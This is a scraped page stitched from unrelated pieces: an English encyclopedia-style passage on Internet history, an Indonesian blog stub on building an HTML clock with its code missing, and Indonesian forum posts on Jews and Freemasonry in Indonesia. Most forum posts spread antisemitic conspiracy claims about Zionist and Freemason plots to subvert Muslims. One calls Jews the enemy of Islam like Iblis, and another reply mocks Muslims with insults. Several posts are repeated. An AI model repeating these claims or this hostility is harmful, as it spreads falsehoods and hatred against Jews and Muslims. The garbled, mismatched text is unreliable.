24 Hours in Cyberspace, "the largest one-day online event" (February 8, 1996) up to that date, took place on the then-active website, cyber24.com.[74][75] It was headed by photographer Rick Smolan.[76] A photographic exhibition was unveiled at the Smithsonian Institution's National Museum of American History on January 23, 1997, featuring 70 photos from the project.

Search engines
Main article: Search engine (computing)
Even before the World Wide Web, there were search engines that attempted to organize the Internet. The first of these was the Archie search engine from McGill University in 1990, followed in 1991 by WAIS and Gopher. All three of those systems predated the invention of the World Wide Web but all continued to index the Web and the rest of the Internet for several years after the Web appeared. There are still Gopher servers as of 2006, although there are a great many more web servers.

As the Web grew, search engines and Web directories were created to track pages on the Web and allow people to find things. The first full-text Web search engine was WebCrawler in 1994. Before WebCrawler, only Web page titles were searched. Another early search engine, Lycos, was created in 1993 as a university project, and was the first to achieve commercial success. During the late 1990s, both Web directories and Web search engines were popular—Yahoo! (founded 1994) and Altavista (founded 1995) were the respective industry leaders. By August 2001, the directory model had begun to give way to search engines, tracking the rise of Google (founded 1998), which had developed new approaches to relevancy ranking. Directory features, while still commonly available, became after-thoughts to search engines.

Database size, which had been a significant marketing feature through the early 2000s, was similarly displaced by emphasis on relevancy ranking, the methods by which search engines attempt to sort the best results first. Relevancy ranking first became a major issue circa 1996, when it became apparent that it was impractical to review full lists of results. Consequently, algorithms for relevancy ranking have continuously improved. Google's PageRank method for ordering the results has received the most press, but all major search engines continually refine their ranking methodologies with a view toward improving the ordering of results. As of 2006, search engine rankings are more important than ever, so much so that an industry has developed ("search engine optimizers", or "SEO") to help web-developers improve their search ranking, and an entire body of case law has developed around matters that affect search engine rankings, such as use of trademarks in metatags. The sale of search rankings by some search engines has also created controversy among librarians and consumer advocates.

On June 3, 2009, Microsoft launched its new search engine, Bing. The following month Microsoft and Yahoo! announced a deal in which Bing would power Yahoo! Search.

Dot-com bubble
Main article: Dot-com bubble
Suddenly the low price of reaching millions worldwide, and the possibility of selling to or hearing from those people at the same moment when they were reached, promised to overturn established business dogma in advertising, mail-order sales, customer relationship management, and many more areas. The web was a new killer app—it could bring together unrelated buyers and sellers in seamless and low-cost ways. Visionaries around the world developed new business models, and ran to their nearest venture capitalist. While some of the new entrepreneurs had experience in business and economics, the majority were simply people with ideas, and did not manage the capital influx prudently. Additionally, many dot-com business plans were predicated on the assumption that by using the Internet, they would bypass the distribution channels of existing businesses and therefore not have to compete with them; when the established businesses with strong existing brands developed their own Internet presence, these hopes were shattered, and the newcomers were left attempting to break into markets dominated by larger, more established businesses. Many did not have the ability to do so.

The dot-com bubble burst in March 2000, with the technology heavy NASDAQ Composite index peaking at 5,048.62 on March 10[81] (5,132.52 intraday), more than double its value just a year before. By 2001, the bubble's deflation was running full speed. A majority of the dot-coms had ceased trading, after having burnt through their venture capital and IPO capital, often without ever making a profit. But despite this, the Internet continues to grow, driven by commerce, ever greater amounts of online information and knowledge and social networking.

Online population forecast
A study conducted by JupiterResearch anticipates that a 38 percent increase in the number of people with online access will mean that, by 2011, 22 percent of the Earth's population will surf the Internet regularly. The report says 1.1 billion people have regular Web access. For the study, JupiterResearch defined online users as people who regularly access the Internet from dedicated Internet-access devices, which exclude cellular telephones.

Mobile phones and the Internet
See also: Mobile Web
The first mobile phone with Internet connectivity was the Nokia 9000 Communicator, launched in Finland in 1996. The viability of Internet services access on mobile phones was limited until prices came down from that model and network providers started to develop systems and services conveniently accessible on phones. NTT DoCoMo in Japan launched the first mobile Internet service, i-mode, in 1999 and this is considered the birth of the mobile phone Internet services. In 2001 the mobile phone email system by Research in Motion for their BlackBerry product was launched in America. To make efficient use of the small screen and tiny keypad and one-handed operation typical of mobile phones, a specific document and networking model was created for mobile devices, the Wireless Application Protocol (WAP). Most mobile device Internet services operate using WAP. The growth of mobile phone services was initially a primarily Asian phenomenon with Japan, South Korea and Taiwan all soon finding the majority of their Internet users accessing resources by phone rather than by PC.[citation needed] Developing countries followed, with India, South Africa, Kenya, Philippines, and Pakistan all reporting that the majority of their domestic users accessed the Internet from a mobile phone rather than a PC. The European and North American use of the Internet was influenced by a large installed base of personal computers, and the growth of mobile phone Internet access was more gradual, but had reached national penetration levels of 20–30% in most Western countries.[citation needed] The cross-over occurred in 2008, when more Internet access devices were mobile phones than personal computers. In many parts of the developing world, the ratio is as much as 10 mobile phone users to one PC user.

Historiography

Some concerns have been raised over the historiography of the Internet's development. Specifically that it is hard to find documentation of much of the Internet's development, for several reasons, including a lack of centralized documentation for much of the early developments that led to the Internet.

"The Arpanet period is somewhat well documented because the corporation in charge – BBN – left a physical record. Moving into the NSFNET era, it became an extraordinarily decentralized process. The record exists in people's basements, in closets. [...] So much of what happened was done verbally and on the basis of individual trust."
—Doug Gale (2007),

Cara membuat jam analog

saya akan berbagi mengenai percobaan saya membuat jam analog menggunakan
html dan javascript, berikut cara singkatnya heheheehehehehhe
buat kritik kirim ke yujimaarif.ym@gmail.com
pertama buka notepad
dan tulis kode ini:
lalu save pilih all files beri nama jam_Analog.html tekan simpan/save jadi dech jam analog ngga percaya liat aja di browser.

Desember 19, 2011

ada dech

semua berawal dari mimpi mimpi adalah segalanya bagiku aku bermimpi jadi apapun yang bisa membuat ku bahagia coba liat ini ea mau tau tentang arti mimpimu..............

November 24, 2011

mencari jejak yahudi di indonesia


warga Yahudi sudah sejak kolonial Belanda banyak berdiam di Indonesia, khususnya di Jakarta. Pada abad ke-19 dan 20 serta menjelang Belanda hengkang dari Indonesia, ada sejumlah Yahudi yang membuka toko-toko di Noordwijk (kini Jl Juanda) dan Risjwijk (Jl Veteran)-- dua kawasan etlie di Batavia kala itu -- seperti Olislaeger, Goldenberg, Jacobson van den Berg, Ezekiel & Sons dan Goodwordh Company.

Mereka hanya sejumlah kecil dari pengusaha Yahudi yang pernah meraih sukses. Mereka adalah pedagang-pedagang tangguh yang menjual berlian, emas dan intan, perak, jam tangan, kaca mata dan berbagai komoditas lainnya.

Sejumlah manula yang diwawancarai menyatakan, pada tahun 1930-an dan 1940-an jumlah warga Yahudi di Jakarta banyak. Jumlahnya bisa mencapai ratusan orang. Karena mereka pandai berbahasa Arab, mereka sering dikira keturunan Arab. Sedangkan Abdullah Alatas (75 tahun) mengatakan, keturunan Yahudi di Indonesia kala itu banyak yang datang dari negara Arab. Maklum kala itu negara Israel belum terbentuk. Seperei keluarga Musri dan Meyer yang datang dari Irak.

Di masa kolonial, warga Yahudi ada yang mendapat posisi tinggi di pemerintahan. Termasuk gubernur jenderal AWL Tjandra van Starkemborgh Stachouwer (1936-1942).

Sedangkan Ali Shatrie (87) menyatakan bahwa kaum Yahudi di Indonesia memiliki persatuan yang kuat. Setiap Sabat (hari suci umat Yahudi), mereka berkumpul bersama di Mangga Besar, yang kala itu merupakan tempat pertemuannya.

Menurut majalah Sabili, dulu Surabaya merupakan kota yang menjadi basis komunitas Yahudi, lengkap dengan sinagognya yang hingga kini masih berdiri.

Sedangkan menurut Ali Shatrie, mereka umumnya memakai paspor Belanda dan mengaku warga negara kincir angin. Sedangkan Abdullah Alatas mengalami saat-saat hari Sabat dimana warga Yahudi sambil bernyanyi membaca kitab Talmut dan Zabur, dua kitab suci mereka.

Pada 1957, ketika hubungan antara RI-Belanda putus akibat kasus Irian Barat (Papua), tidak diketahui apakah seluruh warga Yahudi meninggalkan Indonesia. Konon, mereka masih terdapat di Indonesia meski jumlahnya tidak lagi seperti dulu. Yang pasti dalam catatan sejarah Yahudi dan jaringan gerakannya, mereka sudah lama menancapkan kukunya di Indonesia. Bahkan gerakan mereka disinyalir telah mempengaruhi sebagian tokoh pendiri negeri ini. Sebuah upaya menaklukkan bangsa Muslim terbesar di dunia (Sabili, 9/2-2006).

Dalam buku Jejak Freemason & Zionis di Indonesia disebutkan bahwa gedung Bappenas di Taman Surapati dulunya merupakan tempat para anggota Freemason melakukan peribadatan dan pertemuan.

Gedung Bappenas di kawasan elit Menteng, dulunya bernama gedung Adhuc Stat dengan logo Freemasonry di kiri kanan atas gedungnya, terpampang jelas ketika itu. Anggota Freemason menyebutnya sebagai loji atau rumah syetan. Disebut rumah syetan, karena dalam peribadatannya anggota gerakan ini memanggil arwah-arwah atau jin dan syetan, menurut data-data yang dikumpulkan penulisnya Herry Nurdi.

Freemasonry atau Vrijmetselarij dalam bahasa Belanda masuk ke Indonesia dengan beragam cara. Terutama lewat lembaga masyarakat dan pendidikan. Pada mulanya gerakan itu menggunakan kedok persaudaraan kemanusiaan, tidak membedakan agama dan ras, warna kulit dan gender, apalagi tingkat sosial di masyarakat.

Dalam buku tersebut disebutkan, meski pada tahun 1961, dengan alasan tidak sesuai dengan kepribadian bangsa, Presiden Sukarno melakukan pelarangan terhadap gerakan Freemasonry di Indonesia. Namun, pengaruh Zionis tidak pernah surut. Hubungan gelap 'teman tapi mesra' antara tokoh-tokoh bangsa dengan Israel masih terus berlangsung.(RioL)
(Alwi Shahab )
farfromfear
Ampang, Malaysia
Mengendus Jejak Zionis

''Sesungguhnya kamu dapati orang-orang yang paling keras permusuhannya terhadap orang-orang yang beriman ialah orang-orang Yahudi dan orang musyrik.''(QS Al-Maidah: 82)

Ayat di atas merupakan peringatan Allah SWT tentang bahaya Yahudi bagi umat Islam. Karena itulah, umat Islam harus senantiasa waspada terhadap segala sepak terjang dan tipu daya Yahudi.

Satu dari sekian lini yang dibangun oleh Yahudi adalah Freemasonry, yang merupakan gerakan rahasia terbesar, dan boleh jadi tertua di dunia. Freemasonry berpengaruh di seluruh pusat kekuasaan, lebih-lebih Amerika. Bahkan, gerakan ini pada masanya pernah berkiprah dan menjalankan agenda-agendanya di Indonesia. Sampai sekarang hal itu masih terus berlangsung. Mungkin hingga Hari Kiamat nanti.

Hal itu merupakan inti pesan buku ini. Penulisnya, seorang wartawan Muslim yang gigih, mengupas jejak, gerak-gerik dan memprediksi agenda Freemasonry di Indonesia yang merupakan negeri berpenduduk Muslim terbesar di dunia.

Dalam acara bedah bukunya yang diadakan dalam rangka Islamic Book Fair (IBF) di Senayan Jakarta, pekan silam, penulis menegaskan bahwa gerakan Freemasonry dan Zionis mengembangkan sayapnya di Indonesia melalui lembaga-lembaga pendidikan serta jaringan yang mengarah pada pengembangan ilmu pengetahuan. Gerakan tersebut hendak melakukan sekularisasi di negeri-negeri Muslim.

Namun, hal tersebut gagal dan sekarang mereka mengubah strategi dengan meliberalkan negeri-negeri kaum Muslim. Hal ini dapat dirasakan pada acara-acara yang ditayangkan di stasiun televisi serta pola hidup beberapa universitas yang mengaku di bawah Islam namun mengusung Islam liberal.

Sejarawan Islam, Alwi Alatas, mengungkapkan di Indonesia telah tampak dengan jelas jejak-jejak Zionis.''Isu-isu seputar gerakan rahasia Yahudi internasional di Tanah Air perlu terus diteliti, dibongkar, agar umat tidak lengah. Buku Jejak Freemason dan Zionis di Indonesia merupakan salah satu upaya ke arah itu,'' tandas Alwi.
farfromfear
Ampang, Malaysia
Pada tanggal 14 Nopember 2007 lalu, secara tak sengaja saya menonton acara "Konser Karya Abadi Sang Legenda 70 Tahun Titiek Puspa" di TransTV yang dihadiri oleh Presiden Republik Indonesia dan Pejabat Tinggi Negara lainnya yang tumpah ruah bergabung dengan para selebritis papan atas. Titiek Puspa adalah tokoh lintas zaman sehingga acara tersebut bisa dipastikan ditonton oleh berbagai lapisan masyarakat dan akan menjadi santapan yang paling empuk bagi kaum kapitalis "untuk memasang iklan". Namun ada satu hal yang sangat mengganjal pikiran dan hati nurani saya, yang mana latar belakang panggung secara terang benderang didominasi oleh Symbol "Sun God/Dewa Matahari"

Tulisan ini bukanlah untuk berpolemik tentang "hakekat" acara tersebut, namun bila kita kaitkan dengan sejarah "pagan mesir kuno" dan berbagai symbol "Illuminati" maka bisa jadi apa yang di sinyalir sebelumnya bahwa Indonesia bukan mungkin saja tetapi sudah menjadi bagian dari "Skenario Asing" dalam agenda jahatnya untuk mewujudkan "New World Order" diantaranya Generasi Muda Indonesia yang jauh dari agama & Tuhan.
farfromfear
Ampang, Malaysia
SBY Hadiri Konser Titiek Puspa
Presiden Susilo Bambang Yudhoyono menghadiri Konser Karya Abadi Sang Legenda 70 Tahun Titiek Puspa di PRJ, Kemayoran, Jakarta, Rabu (14/11). Dalam kesempatan itu, Presiden memberikan ucapan selamat ulang tahun kepada Titiek Puspa atas nama rakyat dan bangsa Indonesia atas curahannya terhadap seni dan budaya bangsa.

Presiden Yudhoyono menonton konser ini didampingi oleh Ibu Ani Yudhoyono dan beberapa menteri Kabinet Indonesia Bersatu seperti Menteri Kebudayaan dan Pariwisata Jero Wacik. Pada konser tersebut, Titiek Puspa sempat menyindir Presiden karena tidak adanya music hall di Indonesia.

Konser 70 Tahun Titiek Puspa antara lain dimeriahkan oleh Euis Darliah, Krisdayanti, Melly Goeslow, Gita Gutawa dan Vina Panduwinata. Sepanjang kariernya, Titiek Puspa pernah mendapat penghargaan Satya Lencana Karya Wira dari presiden pada tahun 1979, hadiah seni Menteri Pendidikan dan Kebudayaan pada 1999 serta Bronze Prize World Song Festival.(NTF/MetroTV)
hmmmmmmmmmmmm
Heidelberg, Germany
ZIONISME ISLAM MeRAJALELA DAN MEMBUAT FITANH TERHADAP YAHUDI

DAJJAL DAN ISLAM TIDAK AKAN BERHENTI SEBELUM MENGUASAI BUMI
Anti Dajjal ii
Johor Bahru, Malaysia
SEJAK gerakan zionis internasional Freemasonry didirikan di Inggris tahun 1717, orang Yahudi lebih suka menyelubungi aktivitas mereka dengan selimut perkumpulan teosofi yang bertujuan "kemanusiaan". Pengumpulan dana dipusatkan di New York. Sejak 17 November 1875, pimpinannya adalah seorang Yahudi di Rusia, Nyonya Blavatsky. Jurnal The Theosofist, yang diterbitkan di New York, pada terbitan tahun 1881 menyiarkan kabar bahwa Blavatsky mengutus Baron van Tengnagel untuk mendirikan loge, rumah ibadat kaum Vrijmetselarij/Freemasonry di Pekalongan. Kota ini dipilih karena sejak 1868 berubah status dari desa menjadi kota, di samping dikenal sebagai konsentrasi santri di Jawa Tengah. Loge didirikan tahun 1883, tetapi tidak berkembang karena reaksi keras masyarakat berhubung praktek ritualisme mereka, yaitu memanggil arwah. Karena itu, penduduk menyebut loge sebagai gedong setan.
Anti Dajjal ii
Johor Bahru, Malaysia
SEJAK gerakan zionis internasional Freemasonry didirikan di Inggris tahun 1717, orang Yahudi lebih suka menyelubungi aktivitas mereka dengan selimut perkumpulan teosofi yang bertujuan "kemanusiaan". Pengumpulan dana dipusatkan di New York. Sejak 17 November 1875, pimpinannya adalah seorang Yahudi di Rusia, Nyonya Blavatsky. Jurnal The Theosofist, yang diterbitkan di New York, pada terbitan tahun 1881 menyiarkan kabar bahwa Blavatsky mengutus Baron van Tengnagel untuk mendirikan loge, rumah ibadat kaum Vrijmetselarij/Freemasonry di Pekalongan. Kota ini dipilih karena sejak 1868 berubah status dari desa menjadi kota, di samping dikenal sebagai konsentrasi santri di Jawa Tengah. Loge didirikan tahun 1883, tetapi tidak berkembang karena reaksi keras masyarakat berhubung praktek ritualisme mereka, yaitu memanggil arwah. Karena itu, penduduk menyebut loge sebagai gedong setan.

Pengalaman Pekalongan memaksa mereka mengalihkan kegiatan ke Batavia. Dua loge besar didirikan di Jalan Merdeka Barat (sebelumnya bernama Blavatsky Straat), dan Jalan Budi Utomo (sebelumnya bernama Vrijmetselarijweg). Dua loge itu, di samping loge yang didirikan di Makassar, Bandung, Surabaya, Yogyakarta, menjadi pusat kegiatan ritual saja, untuk Yahudi Belanda dan Eropa, yang bekerja di Hindia Belanda di sektor birokrasi VOC/Pemerintah Hindia Belanda, dan swasta.

Hindia Belanda dianggap negeri yang aman sebagai wilayah operasi mereka, karena penduduk menganggap Yahudi Belanda/Eropa sebagai orang Nasrani. Di samping itu, Gubernur Hindia Belanda selalu menjadi pembina Rotary Club.
Anti Dajjal ii
Johor Bahru, Malaysia
Aktivitas ritual belaka berujung pada kebuntuan: gerakan zionis jalan di tempat. Maka, gerakan zionisme intenasional untuk Asia, yang berpusat di Adyar, India, pada 31 Mei 1909 mengutus Ir. A.J.E. van Bloomenstein ke Jawa.

Untuk mengubah pola pergerakan, pada 12 November 1912 Bloomenstein berhasil mendirikan Theosofische Vereeniging (TV), yang kemudian mendapatkan rechtpersoon, pengakuan, dan dimuat dalam Staatblaad No. 543.

TV bekerja di kalangan intelektual dan calon intelektual bumiputra. TV pun membiayai Kongres Pemuda I, 1926. Kongres itu bahkan digelar di loge Broederkaten di Vrijmetselarijweg. Akibatnya, ormas pemuda memboikot kongres itu, dan reaksinya adalah, pada 27 dan 28 Oktober 1928 ormas pemuda menggelar Kongres Pemuda II yang menghasilkan Sumpah Pemuda.
Anti Dajjal ii
Johor Bahru, Malaysia
Aktivitas zionis yang kian meningkat di Hindia Belanda tidak saja di kalangan masyarakat, melainkan juga di pemerintahan, menjelang dan pasca-Perang Dunia I itu, menggelisahkan orang-orang Jerman. Terutama peran Snouk Hurgronje, Belanda Yahudi, dalam Perang Aceh.

Seperti diketahui, Turki sebagai sekutu Jerman gagal membantu Aceh karena panjangnya garis supply. Kehadiran agen zionis internasional Sneevliet di Jawa, yang berhasil mengkader pemuda intelektual Indonesia, makin menguatkan tekad Jerman untuk meruntuhkan pemerintah zionis Hindia Belanda.

Hal itu tercium oleh agen Belanda. Tersebarlah isu bahwa H.O.S. Tjokroaminoto menerima dana 2 juta gulden untuk mengkudeta kompeni. Untuk mengonfirmasi kebenaran isu itu, Agus Salim ditugaskan menguntit Tjokroaminoto. Ironisnya, kewibawaan Tjokroaminoto malah mempesona Salim, dan tahun 1918 Salim mengetok kawat dari Surabaya, mengabarkan bahwa ia masuk SI (Sarikat Islam) dan berhenti sebagai agen.
Anti Dajjal ii
Johor Bahru, Malaysia
Di bidang bisnis, orang Yahudi di Jakarta menguasai pusat bisnis elite di Pasar Baru, Jalan Juanda, dan Jalan Majapahit. Mereka menguasai perdagangan permata, jam tangan, dan kacamata. Pusat hiburan elite di Jakarta juga diramaikan oleh pemusik Yahudi Polandia. Akhirnya, Batavia menjadi salah satu kota zionis yang terpenting di Asia.

Maka, tidak mengherankan ketika Jepang sebagai sekutu Jerman merebut Indonesia dari tangan Belanda, Jepang melakukan kampanye anti-zionis itu. Tokoh-tokoh zionis Hindia Belanda, seperti Ir. Van Leeweun, dikirim ke kamp tahanan dan tewas di situ. Kesadaran anti-zionis juga merebak di kalangan rakyat. Dr. Ratulangi pada Maret 1943 memimpin rapat raksasa di Lapangan Ikada, mengutuk zionisme.

Usaha menghidupkan lagi gerakan zionisme masih dilakukan pascakemerdekaan. Pada 14 Juni 1954, berdiri Jewish Community in Indonesia, dipimpin Ketua F. Dias Santilhano dan Panitera I. Khazam. Di dalam anggaran dasarnya dinyatakan, perkumpulan itu merupakan kelanjutan dari Vereeniging Voor Joodsche Belangen in Nerderlandsch-Indie te Batavia, yang berdiri pada 16 Juli 1927.
kingsleyjr
Jakarta, Indonesia
kenapa orang islam sangat membenci yahudi ?kalian iri akan kesuksekan orang yahudi ?
bagaimanapun mereka itu bangsa pilihan Tuhan dan tuhan tidak akan pernah menarik berkatNya kepada Abraham dan keturunanya (yahudi)
god blessed yahudi ^_^
hmmmmmmmmmmmm
Heidelberg, Germany
Anti Dajjal ii wrote:
SEJAK gerakan zionis internasional Freemasonry didirikan di Inggris tahun 1717, orang Yahudi lebih suka menyelubungi aktivitas mereka dengan selimut perkumpulan teosofi yang bertujuan "kemanusiaan". Pengumpulan dana dipusatkan di New York. Sejak 17 November 1875, pimpinannya adalah seorang Yahudi di Rusia, Nyonya Blavatsky. Jurnal The Theosofist, yang diterbitkan di New York, pada terbitan tahun 1881 menyiarkan kabar bahwa Blavatsky mengutus Baron van Tengnagel untuk mendirikan loge, rumah ibadat kaum Vrijmetselarij/Freemasonry di Pekalongan. Kota ini dipilih karena sejak 1868 berubah status dari desa menjadi kota, di samping dikenal sebagai konsentrasi santri di Jawa Tengah. Loge didirikan tahun 1883, tetapi tidak berkembang karena reaksi keras masyarakat berhubung praktek ritualisme mereka, yaitu memanggil arwah. Karena itu, penduduk menyebut loge sebagai gedong setan.
HAHAHHAHAHAHAHAHAHA;

misionaris islam sedang menabur fitnah hasil copy paste dari website2 propaganda islam...

hehehehehehehhehehehehehehe.

BACA NIH BERITA RESMI TENTANG BLAVATSKY.

Blavatskys Lehre, die Theosophie, besteht aus einer Mischung okkultistischer Vorstellungen mit Ideen vor allen des Hinduismus, Buddhismus und der Gnosis.

Aus diesen Elementen sollte das eine, universelle Prinzip einer von ihr postulierten Ur-Religion rekonstruiert werden, das die Gegensätze zwischen Spiritualität, vernunftgeleiteter Philosophie und Naturwissenschaften aufheben und eine universelle Brüderlichkeit aller Menschen ermöglichen sollte, gleich welcher Rasse, Kaste, Hautfarbe oder welchen Geschlechts,ähnlich der hermetischen "Kosmischen Philosophie" Max Theons, der wie sie ein Schüler des Kopten Paulos Metamon war. Als Quelle diente ihr angeblich ein apokryphes „Buch Dzyan“, das an geheimer Stätte in Tibet aufbewahrt würde. Es wird allgemein angenommen, dass es sich um eine Fiktion Blavatskys handelt.

saya terjemahkan sedikit:

ajaran blavatsky adalah gabungan aajaran gnosis, hinduismus dan budismus...

LALU APA HUBUNGANNYA SAMA YAHUDI???

JUSTRU DIA DIDUGA MENJADI AWAL PEMIKIRAN SUPERIORITAS BANGSA ARYA; DAN MENGGANGGAP RENDAH ORANG YAHUDI...

dari segi pemikiran bahwa yahudi itu rendah, saya duga dia justru islam.,..

alhamdulillah muhamad juga mengganggap rendah yahudi

hahahhahahah

TERNYATA BAIK HITleR MAUPUN BLVATSKY PENGANUT AJARAN ISLAM::::

hahahhahahahahhahaha

wassalam
muslimah
Oslo, kanada
I'm not yahudi,,I'm moslem,,
bolehkah bertanya?
apa benar nabi menganggap rendah yahudi*??
(*yg dimaksud yahudi yg sebenar2nya seperti pada zaman nya dulu, bukan yahudi2 sesat yg saat ini banyak bermunculan)
bukankah nabi muhammad orang yg begitu menghormati orang lain, dan berhati bersih juga mulia?
bukankah penganut yahudi (Yang sebenar2nya) berpedoman pd kitab Taurat yg dibawa oleh Nabi Musa a.s..allahualam apa Taurat yg dipegang mrk saat ini asli/tidak,tp melihat isi 10 perintah yg mereka percaya saat ini,jauh lebih masuk akal drpd umat yg menyembah Nabi Isa a.s (padahal beliau nabi bukan tuhan), dan memalsukan ALkitab,,
memang 10 perintah tsb seharusnya tdk bisa dijadikan pedoman begitu saja. terlalu sedikit. kurang jelas. hanya berisi perintah. tanpa ada kejelasan hukum, tata cara melaksanakannya, dll.
(saya melihat 10 perintah tsb dr keterangan org yg menganut yahudi, isi 10 perintah tersebut, semua ada di Quran. bedanya, mereka menyebut Tuhan mereka, tidak sama sepert kita menyebut allah s.w.t)
mohon penjelasan dan maaf bila terdapat kesalahan. mohon diperbaiki.
wassalamualaikum
yahudi musuh ketat islam sebagaimana degan iblis juga musuh manusia,bagai mana mahu berbaik dgn yahudi sedangkan mereka sedang memusuhi muslim,
hmmmmmmmmmmmm
Ernsthofen, Germany
muslimah wrote:
I'm not yahudi,,I'm moslem,,
bolehkah bertanya?
apa benar nabi menganggap rendah yahudi*??
(*yg dimaksud yahudi yg sebenar2nya seperti pada zaman nya dulu, bukan yahudi2 sesat yg saat ini banyak bermunculan)
bukankah nabi muhammad orang yg begitu menghormati orang lain, dan berhati bersih juga mulia?
bukankah penganut yahudi (Yang sebenar2nya) berpedoman pd kitab Taurat yg dibawa oleh Nabi Musa a.s..allahualam apa Taurat yg dipegang mrk saat ini asli/tidak,tp melihat isi 10 perintah yg mereka percaya saat ini,jauh lebih masuk akal drpd umat yg menyembah Nabi Isa a.s (padahal beliau nabi bukan tuhan), dan memalsukan ALkitab,,
memang 10 perintah tsb seharusnya tdk bisa dijadikan pedoman begitu saja. terlalu sedikit. kurang jelas. hanya berisi perintah. tanpa ada kejelasan hukum, tata cara melaksanakannya, dll.
(saya melihat 10 perintah tsb dr keterangan org yg menganut yahudi, isi 10 perintah tersebut, semua ada di Quran. bedanya, mereka menyebut Tuhan mereka, tidak sama sepert kita menyebut allah s.w.t)
mohon penjelasan dan maaf bila terdapat kesalahan. mohon diperbaiki.
wassalamualaikum
assalamu alaikum , shalom aleicha, damai sejahtera,

first of all, saya bukan yahudi, saya bukan krsiten, saya murtadin dan sekarang tidak beragama.

dan saya sudah kenyang belajar macam2 agama dan kepercayaan di muka bumi..

apakah Muhamad menghargai Yahudi atau tidak, itu idak dapat dipastikan dengan baik, sumber ceritanya tidak jelas, saling bertolak belakang, baik dari Quran, Hadits maupun Hikayat2.

Ada masa dimana Muhamad mencoba mencari kedekatan edngan yahudi, dan menyatakan bahwa Yahudi / Ahlul Kitab adalah kaum yang tidak perlu takut terhadap akhirat.

Ada masa dimana kaum yahudi menolak Muhamad dan Muhamad memaki dan menyatakan kutuk untuk yahudi.

tentang asli atau tidaknya Taurat dan Injil, ada sebagian islam yang menyatakan tidak asli, dan ada sebagian yang menyatakan asli..

menurut saya asli, kerana exemplar taurat atapun Injil yang tertua, masih lebih tua dibandingkan Quran/dibandingkan jaman Muhamad.

sedangkan dalam Quran Muhamad merujuk Taurat atau Injil beberapa kali, dan menyatakan bahwa Quran membenarkan (menyatakan kebenaran) Taurat dan Bibel sekaligus melengkapi Taurat dan bibel.

Seandainya Taurat dan Bibel yang asli sudah tidak ada di jaman Muhamad, apakah Allah akan melengkapi sesuatu yang sudah tidak ada???

APAKAH ALLAH TIDAK AKAN MENyATAKAN DALAM QURAN BAHWA TAURAT DAN INJIL YANG ASLI SUDAH TIDAK ADA???

tentang 10 perintah tersebut, emmang terkesan sedikit bila dilihat kasat mata secara awam, tetapi masih banyak rujukan dari kitab2 lainnya, secara keseluruhan ada kalau tidak salah 613 hukum yang harus dipegang umat yahudi..

SepULUH PERINTaH ITU HANYA HUKUM DASaR; SEPERTI RUKUN dalam ISLAM.

kalau mahu dilihat lengkap atau tidak, dari sisi lain secara objektiv bisa dibilang Quran pun tidak lengkap, karena Quran (contohnya ) tidak pernah meynebut atau memberi perintah Khitan, suatu hal yang cukup mendasar untuk Fitrah dan Sunnah dalam Islam..

tentang nama Tuhannya, orang yahudi menyebut nama Tuhannya YHWH, tetapi nama ini bagi umat yahudi begitu agung dan tinggi, mereka tidak berani mengucapkannya,

mereka mengucapkan ELOHIM (lihat kemiripannya dengan kata ALLAH, dalam abjad yahudi gundiul ditulis (Alif, Lam, Lam dan Hah , Mem) menunjukkan etimologi dan kesaudaraan bahasa ARAB dan bahasa YAHUDI) atau mereka menyebut HASHEM (artinya SANG NAMA) atau Adonay

semoga anda menjadi maklum dan mendapat hidayah..

bila ada ynag anda ingin tanyakan lebih detail, saya akan coba jawab..

wassalam
hmmmmmmmmmmmm
Ernsthofen, Germany
muslimah wrote:
I'm not yahudi,,I'm moslem,,
bolehkah bertanya?
apa benar nabi menganggap rendah yahudi*??
(*yg dimaksud yahudi yg sebenar2nya seperti pada zaman nya dulu, bukan yahudi2 sesat yg saat ini banyak bermunculan)
bukankah nabi muhammad orang yg begitu menghormati orang lain, dan berhati bersih juga mulia?
bukankah penganut yahudi (Yang sebenar2nya) berpedoman pd kitab Taurat yg dibawa oleh Nabi Musa a.s..allahualam apa Taurat yg dipegang mrk saat ini asli/tidak,tp melihat isi 10 perintah yg mereka percaya saat ini,jauh lebih masuk akal drpd umat yg menyembah Nabi Isa a.s (padahal beliau nabi bukan tuhan), dan memalsukan ALkitab,,
memang 10 perintah tsb seharusnya tdk bisa dijadikan pedoman begitu saja. terlalu sedikit. kurang jelas. hanya berisi perintah. tanpa ada kejelasan hukum, tata cara melaksanakannya, dll.
(saya melihat 10 perintah tsb dr keterangan org yg menganut yahudi, isi 10 perintah tersebut, semua ada di Quran. bedanya, mereka menyebut Tuhan mereka, tidak sama sepert kita menyebut allah s.w.t)
mohon penjelasan dan maaf bila terdapat kesalahan. mohon diperbaiki.
wassalamualaikum
assalamu alaiki , shalom aleiach, damai sejahtera,

first of all, saya bukan yahudi, saya bukan krsiten, saya murtadin dan sekarang tidak beragama.

dan saya sudah kenyang belajar macam2 agama dan kepercayaan di muka bumi..

apakah Muhamad menghargai Yahudi atau tidak, itu idak dapat dipastikan dengan baik, sumber ceritanya tidak jelas, saling bertolak belakang, baik dari Quran, Hadits maupun Hikayat2.

Ada masa dimana Muhamad mencoba mencari kedekatan edngan yahudi, dan menyatakan bahwa Yahudi / Ahlul Kitab adalah kaum yang tidak perlu takut terhadap akhirat.

Ada masa dimana kaum yahudi menolak Muhamad dan Muhamad memaki dan menyatakan kutuk untuk yahudi.

tentang asli atau tidaknya Taurat dan Injil, ada sebagian islam yang menyatakan tidak asli, dan ada sebagian yang menyatakan asli..

menurut saya asli, kerana exemplar taurat atapun Injil yang tertua, masih lebih tua dibandingkan Quran/dibandingkan jaman Muhamad.

sedangkan dalam Quran Muhamad merujuk Taurat atau Injil beberapa kali, dan menyatakan bahwa Quran membenarkan (menyatakan kebenaran) Taurat dan Bibel sekaligus melengkapi Taurat dan bibel.

Seandainya Taurat dan Bibel yang asli sudah tidak ada di jaman Muhamad, apakah Allah akan melengkapi sesuatu yang sudah tidak ada???

APAKAH ALLAH TIDAK AKAN MENyATAKAN DALAM QURAN BAHWA TAURAT DAN INJIL YANG ASLI SUDAH TIDAK ADA???

tentang 10 perintah tersebut, emmang terkesan sedikit bila dilihat kasat mata secara awam, tetapi masih banyak rujukan dari kitab2 lainnya, secara keseluruhan ada kalau tidak salah 613 hukum yang harus dipegang umat yahudi..
SepULUH PERINTaH ITU HANYA HUKUM DASaR; SEPERTI RUKUN dalam ISLAM.

kalau mahu dilihat lengkap atau tidak, dari sisi lain secara objektiv bisa dibilang Quran pun tidak lengkap, karena Quran (contohnya ) tidak pernah meynebut atau memberi perintah Khitan, suatu hal yang cukup mendasar untuk Fitrah dan Sunnah dalam Islam..

